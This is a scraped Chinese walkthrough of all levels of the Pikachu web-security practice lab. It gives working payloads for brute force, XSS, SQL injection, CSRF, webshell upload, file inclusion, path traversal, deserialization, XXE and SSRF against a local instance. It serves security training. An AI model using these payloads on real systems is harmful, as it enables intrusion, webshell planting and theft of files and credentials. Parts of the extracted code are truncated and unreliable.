Pikachu靶场全关攻略(超详细!) |
您所在的位置:网站首页 › 游戏战地1942全关视频大全 › Pikachu靶场全关攻略(超详细!) |
一、靶场搭建
准备工具
phpstudy
pikachu靶场下载地址:https://github.com/zhuifengshaonianhanlu/pikachu
搭建过程
将靶场文件夹放到phpstudy的www目录
进入pikach文件夹的inc目录,修改靶场配置文件config.inc.php,设置数据库账号密码均为root
启动phpstudy后访问本机ip目录下的install.php文件,进行安装初始化
这种属于无验证码的情况,可直接抓包暴力破解
这种将验证码的生成代码写在前端上是十分容易绕过的
验证码输入错误的情况下是不能抓包的,需先输入正确的验证码再抓包
然后再将数据包发送到爆破功能处,并且将验证码参数去除掉后再进行爆破
有些服务器后台是不刷新验证码的,所以抓到包后不要放包,这样验证码就一直有效,把包发到攻击模块直接爆破
token的作用:简单来说就是服务器给前端发的身份证,前端向服务器发送请求时都要带上这个身份证,服务器通过这个身份证来判断是否是合法请求 抓包发送给暴力破解模块,攻击类型选择pitchfork(音叉),需爆破的内容为密码和token。 攻击类型为音叉的时候,例如你要爆破账号和密码,你的账号字典为123,456;你的密码字典为147,258。那么你爆破的次数就为2次了,分别是(123,147),(456,258),也就是说账号字典和密码字典是一一对应的 修改密码的payload,添加密码的爆破字典
修改token的payload,点击选项里的Grep—Extract的添加,然后点击获取回复,选中token的值复制,然后点击OK
将token的payload类型设置成递归搜索,在递归搜索选项中的第一个请求的初始有效负载设置为之前复制的token
攻击后,通过响应的长度和内容判断是否爆破成功
修改输入框的前端代码(输入框最大允许长度),否者XSS代码不能全部填进去
随后输入xss弹框代码:alert(1)
和前面差不多一样,先登录进去,然后输入弹cookie的xss代码 alert(document.cookie)直接在留言框输入xss代码 简单说一下什么是Dom型xss吧,就是向文档对象传入xss代码参数,然后操作文档对象时就会触发xss攻击 分析一下前端网页代码,可以发现输入框里的参数会被传递给A标签的href属性
点击A标签,触发xss弹框
script关键字被过滤,换个其他的标签就可以了,换个img标签,代码如下
简单说一下specialchars这个函数吧,就是把单引号,双引号,尖括号过滤了,但是这个函数默认是不过滤单引号的,只有将quotestyle选项为ENT_QUOTES才会过滤单引号。 输入框的值会成为a标签的href属性,那么xss语句为:javascript:alert(1),就可以绕过了
闭合符号为%', 注入payload: g%' union select database(),2,3#
闭合符号变成了'), 注入payload:test') union select user(),database()#
用户注册页面是insert注入,payload:' and extractvalue(1,concat(0x7e,(database()))) and '1'='1 在留言版可以输入留言内容, 然后点击删除按钮可以刚刚留言的内容删掉 使用burpsuite抓取点击删除的数据包, 将id参数修改成要注入的payload: 57 or updatexml(1,concat(0x7e,database()),0) , 由于注入参数是get方式提交的, 因此需对id参数进行url编码, 编码后为57+or+updatexml(1,concat(0x7e,database()),0) 有些时候后台开发人员会验证前端发送来的请求头信息(如useragent、accept等), 然后将这些信息使用SQL语句进行处理, 若没有作严格的安全考虑, 则会导致http header的SQL注入漏洞 首先登录账号, 登录账号后会在页面显示用户请求头信息 抓取该页面的数据包,将user-agent的值改为单引号', 页面显示报错信息代表此处存在注入 将user-agent的值改为' or updatexml(1,concat(0x7e,database()),0) or ' ,注入成功爆出当前数据库 也可以将cookie的值改为' or updatexml(1,concat(0x7e,database()),0) or ' 来实现注入 抓取POST请求的数据包, 将name参数的值改为kobe%df' union select database(),2# , 页面注入成功爆出当前数据库名称 CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者"Session Riding",通常缩写为CSRF或者XSRF 尽管听起来跟XSS好像差不多, 其实这两者是完全不同的。在CSRF的攻击场景中攻击者会伪造一个请求(该请求通常为url链接), 然后欺骗用户去点击, 若用户点击了那么整个攻击流程就结束了, 这也就是为何CSRF被称为"One Click Attack" 与XSS攻击相比,CSRF攻击往往不大流行, 因此对其进行防范的资源也相当稀少和难以防范,所以被认为比XSS更具危险性。 基于get请求首先随便登录一个账号: vince/allen/kobe/grady/kevin/lucy/lili, 密码均为123456, 然后使用burpsuite抓取修改个人信息的数据包, 或者F12打开控制台切换至Network进行抓包 我们将抓取到的url的请求参数修改成自己的, 例如将邮箱参数修改成[email protected], 那么构成的CSRF攻击payload为http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18626545453&add=chain&email=hacker@qq.com&submit=submit 若用户点击了上述伪造的url, 则会将用户自己的邮箱修改成[email protected] 虽然POST请求无法通过伪造URL进行攻击, 但是可以通过伪造恶意网页, 将伪造的POST请求隐藏在恶意网页的表单中, 然后诱引用户点击按钮提交表单, 数据自然就POST至存在CSRF漏洞的网页, 最终用户的信息会被修改 此处运行CSRFTESTER工具来制作恶意网页, 首先浏览器配置网络代理, 监听本机的8008端口,然后在CSRFTESTER点击Start Recording开始抓包 抓到修改个人信息的数据包后, 在CSRFTESTER删除除了POST请求的其他数据, 将类型修改成POST, 然后点击下面的Generate HTML生成HTML文件 找到生成的HTML文件并对其编辑, 将下面那行修改成, 然后其他POST参数都可自行设置, 这里我将电话号码修改成了999999999 OWASP CRSFTester Demonstration var pauses = new Array( "30" ); function pausecomp(millis) { var date = new Date(); var curDate = null; do { curDate = new Date(); } while(curDate-date < millis); } function fireForms() { var count = 1; var i=0; for(i=0; i写入图片中在文件上传处上传带有恶意代码的图片, 随后返回图片的相对路径:uploads/ImgTrjs.jpg 包含不存在的文件导致报错:http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=file7.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 从报错信息可看出文件包含函数用的是include(), 被包含的文件路径为pikachu\vul\fileinclude\include\file7.php 由于文件处于/include目录下, 故不能使用绝对路径, 需转换成相对路径, 最终包含木马图片的payload如下 http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/ImgTrjs.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2使用蚁剑连接webshell, 连接url地址为:http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/ImgTrjs.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2, 连接密码为123 能通过url地址对远程的文件进行包含, 这也意味着攻击者可以传入任意的代码 与此同时远程包含漏洞还能包含本地文件的绝对路径或相对路径 远程生成Webshell首先生成一个文本文件部署在服务器上, 这里为了方便测试, 我选择放在phpstudy的根目录下, 文件内容为, 文件的url地址为http://127.0.0.1/GenerateWebshell.txt 最终构成的远程包含payload为http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=http://127.0.0.1/GenerateWebshell.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 网页访问该payload后会在fi_remote.php的同级目录下生成shell.php文件, 后续可用蚁剑进行连接 在很多网站上都有文件下载功能, 当我们点击下载链接时便会向后台发送一个请求, 该请求一般会包含需要下载的文件名, 后台收到请求后便会执行下载代码, 若后台没有对文件名进行安全判断的话, 则可能引发文件下载漏洞 例如, 攻击者提交的并不是常规的文件名称, 而是一个精心构造的路径(如../../etc/passwd), 那么就会导致敏感文件被下载 利用步骤例如此处我在网站的根目录创建一个flag.txt文件, 现在要做的是如何通过文件下载漏洞来实现跨目录访问此文件 通过查看下载文件的地址来可知, 其所处文件目录是/pikachu/vul/unsafedownload/download/ 而我们要读取的文件在根目录下(/WWW目录), 所以flag.txt的相对路径为../../../../flag.txt, 最终构成的文件下载payload为http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=../../../../flag.txt 如今很多网站都会有文件上传功能, 例如上传头像、附件等等 当用户点击上传文件按钮时,后台会对上传的文件进行安全判断,例如是否是指定的类型、后缀名或大小等等, 然后将其按照设计的格式进行重命名后存储在指定的目录 若后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨, 则很可能会被黑客上传恶意文件导致网站被getshell 前端验证 绕过思路查看此关卡的html源码可知, 这是在前端通过js脚本对上传文件的后缀名进行验证,通过设置黑、白名单限制用户上传的文件类型。 可以通过拦截修改数据包轻松绕过,甚至直接在浏览器关闭js都可以绕过 首先新建一个txt文本文件并写入webshell代码, 将其后缀名修改成jpg 使用burpsuite拦截上传shell.jpg的数据包, 随后将后缀名jpg修改成php后再放包, 文件上传成功后返回文件的相对路径uploads/shell.php 打开火狐浏览器,网址搜索框输入about:config, 将JavaScript.enabled设置为false 可以直接上传后缀名为php的文件 如下代码所示为此关卡用于MIME验证的php源码, 由此可知MIME是通过判断你的文件类型(而不是后缀名)来决定是否允许你上传文件,只需抓包修改content_type值就能绕过验证 if(isset($_POST['submit'])){ // var_dump($_FILES); $mime=array('image/jpg','image/jpeg','image/png');//指定MIME类型,这里只是对MIME类型做了判断。 $save_path='uploads';//指定在当前目录建立一个目录 $upload=upload_sick('uploadfile',$mime,$save_path);//调用函数 if($upload['return']){ $html.="文件上传成功 文件保存的路径为:{$upload['new_path']} "; }else{ $html.="{$upload['error']} "; } } 利用方法使用burpsuite抓取上传shell.php的数据包, 将content_type的值修改为image/jpeg, 随后放包 getimagesize()函数会通过读取文件头部的几个字符串(即文件头), 来判断是否为正常图片的头部 可通过制作图片木马或再木马文件内容头部添加GIF89a(Gif图片文件头), 然后利用文件包含漏洞来解析图片木马 利用步骤在图片木马的文件内容头部添加GIF89a, 保存为shell.jpg文件, 随后将此文件上传后会返回文件的相对地址uploads/2022/11/29/5326166385b74ff01e3044955456.jpg 由此可知木马图片的url地址为http://127.0.0.1/pikachu/vul/unsafeupload/uploads/2022/11/29/5326166385b74ff01e3044955456.jpg 利用文件包含漏洞解析此图片木马: http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2022/11/29/5326166385b74ff01e3044955456.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2, 后续可用蚁剑进行连接 使用权限高的用户去操作权限低的用户的行为称为"越权",越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的 越权漏洞通常出现在需要权限才能操作的页面, 例如增加,删除,修改,查询等等, 后台会对当前的用户权限进行检验, 从而给出响应, 若检验的规则过于简单则容易出现越权漏洞 越权漏洞又分为水平越权和垂直越权: 水平越权: A用户和B用户属于同一级别的用户, 但各自都不能操作对方的个人信息。若A用户能够越权操作B用户的个人信息, 这种情况我们称之为"水平越权" 垂直越权: A用户权限高于B用户, B用户能对A用户进行操作的情况称为"垂直越权" 水平越权首先登录lucy用户, 然后点击个人信息, 查看当前url为:http://127.0.0.1/pikachu/vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF# 修改当前url的参数, 将username=lucy改成username=lili, 即http://127.0.0.1/pikachu/vul/overpermission/op1/op1_mem.php?username=lili&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF# 首先登录超级管理员用户admin/123456,使用burpsuite抓取添加用户的数据包并发送至Repeater模块 登录普通用户pikachu/000000, 按F12查看当前用户Cookie值为r0audj31vere8ak4063bbp7vr2 返回burpsuite的Repeater模块, 打开上述抓到的数据包, 将Cookie值修改为pikachu用户的Cookie, 然后点击发送 之后返回页面查看用户列表可发现多了一个用户Hacker 在web功能设计中,很多时候我们会要将需要访问的文件定义成变量, 然后传递给后台, 后台再执行对应的文件, 若后台没有对前端传来的文件变量进行严格的安全考虑, 则攻击者可能会通过"../"这样的手段让后台打开或执行攻击者指定的文件, 从而形成目录遍历漏洞 需要区分一下的是,如果你通过不带参数的url(如http://xxxx/doc)列出了doc文件夹里面所有的文件,这种情况,我们称为敏感信息泄露。而并不归为目录遍历漏洞 利用实例在网站的根目录新建一个flag.txt文件来进行测试 访问存在目录遍历漏洞的页面http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=jarheads.php, 可发现title参数是实现目录遍历的关键变量 随便输入一个值传递给title参数, 页面爆出目录为E:\phpStudy\WWW\pikachu\vul\dir\soup 构造读取flag.txt的url:http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=../../../../flag.txt 由于后台人员的疏忽或者不当的设计,导致不应该被前端用户看到的数据被轻易的访问到 通过访问url下的目录,可以直接列出目录下的文件列表 输入错误的url参数后报错信息里面包含操作系统、中间件、开发语言的版本或其他信息 前端的源码(html,css,js)里面包含了敏感信息,比如后台登录地址、内网接口信息、甚至账号密码等 IcanseeyourABC查看网页源码, 发现注释有测试用户的账号密码lili/123456 成功登录测试用户 PHP涉及反序列化漏洞的函数主要有两个, 分别是serialize()和unserialize() serialize序列化序列化简单来说就是将一个对象转换成可以传输的字符串 例如下面的代码, 将对象DemoClass转换成一段字符串: O:9:"DemoClass":3:{s:4:"name";s:5:"henry";s:3:"sex";s:3:"man";s:3:"age";i:7;} O: 代表对象object 9: 代表对象名字的长度为3 3: 代表对象里有3个变量 s: 表示数据类型为String 4: 表示变量名称的长度 i: 表示数据类型为INT unserialize反序列化反序列化简单来说就是将序列化后的字符串还原成对象, 如下代码所示 涉及魔法函数序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题 如下所示为常见的魔法函数: __construct(): 当一个对象创建时被调用 __destruct(): 当一个对象销毁时被调用 __toString(): 当一个对象被当做一个字符串使用 __sleep(): 在对象被序列化之前执行 __wakeup(): 在序列化之后立即被调用 代码审计通常反序列化漏洞的发现及利用是代码审计实现的 审计unser.php, 前端将$_POST['o']变量传递给后台, 后台将此变量反序列化成对象, 然后输出该对象的test属性 由此, 可通过构造序列化的字符串传递给$_POST['o']来实现漏洞利用 class S{ var $test = "pikachu"; function __construct(){ echo $this->test; } } //O:1:"S":1:{s:4:"test";s:29:"alert('xss')";} $html=''; if(isset($_POST['o'])){ $s = $_POST['o']; if(!@$unser = unserialize($s)){ $html.="大兄弟,来点劲爆点儿的! "; }else{ $html.="{$unser->test} "; } } ?> 利用实例自行新建一个php文件来生成用于漏洞利用的字符串: O:1:"S":1:{s:4:"test";s:33:"alert('Hacking')";} Reminder You are a good man 代码审计前端将$_POST['xml']传递给变量$xml, 由于后台没有对此变量进行安全判断就直接使用simplexml_load_string函数进行xml解析, 从而导致xxe漏洞 $html=''; //考虑到目前很多版本里面libxml的版本都>=2.9.0了,所以这里添加了LIBXML_NOENT参数开启了外部实体解析 if(isset($_POST['submit']) and $_POST['xml'] != null){ $xml =$_POST['xml']; // $xml = $test; $data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT); if($data){ $html.="{$data}"; }else{ $html.="XML声明、DTD文档类型定义、文档元素这些都搞懂了吗? "; } } ?>因此可以构建恶意xml通过post请求提交给后台, 以此实现xml外部实体注入, 这里先构建个简单的xml提交试试, 页面成功回显"hello world" &test;xml外部引用不仅支持file协议, 还支持http, ftp协议 如下代码所示, 利用file协议读取网站根目录下的flag.txt文件 &file;不安全的url跳转问题可能发生在一切执行了url地址跳转的地方 如果后端采用了前端传进来的参数作为了跳转的目的地,而又没有做判断的话, 则可能发生"跳错对象"的问题 若一个比较有名的域名出现了URL重定向漏洞, 则黑客可以通过该域名跳转至自己的钓鱼页面, 以此实现迷惑用户 代码审计查看urlredirect.php源码,前端将传递 $_GET['url']后台, 后台没有对其作任何安全判断就赋值给了变量$url, 然后通过header函数进行跳转 $html=""; if(isset($_GET['url']) && $_GET['url'] != null){ $url = $_GET['url']; if($url == 'i'){ $html.="好的,希望你能坚持做你自己! "; }else { header("location:{$url}"); } } 利用实例点击前两行超链接都没什么反应, 点击第三行超链接时url跳转至unsafere.php页面 使用burpsuite进行抓包, 通常来讲存在URL重定向漏洞的页面的状态码为302 将参数url修改成要跳转的链接 SSRF(Server-Side Request) , 又称为服务器请求伪造, 其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制, 导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据 SSRF(curl)Curl命令支持多种协议, 如http、https、ftp、file、gopher协议等等 首先点击第一关的链接, 点进去可以看到传递了参数url, 此值采用了http协议进行访问 利用file协议让服务器访问自己本地的文件, 构造的payload为http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=file:///E:/phpStudy/WWW/flag.txt 利用dict协议扫描3306端口是否开放: http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:3306 该关卡会用到file_get_content函数, 该函数的作用是读取文件的内容, 可直接读取主机绝对路径或相对路径的文件, 也可以使用php伪协议进行利用 http://127.0.0.1:81/pikachu/vul/ssrf/ssrf_fgc.php?file=file:///E:/phpStudy/WWW/flag.txt可通过php伪协议读取指定文件 http://127.0.0.1:81/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=E:/phpStudy/WWW/flag.txt |
今日新闻 |
点击排行 |
|
推荐新闻 |
图片新闻 |
|
专题文章 |
CopyRight 2018-2019 实验室设备网 版权所有 win10的实时保护怎么永久关闭 |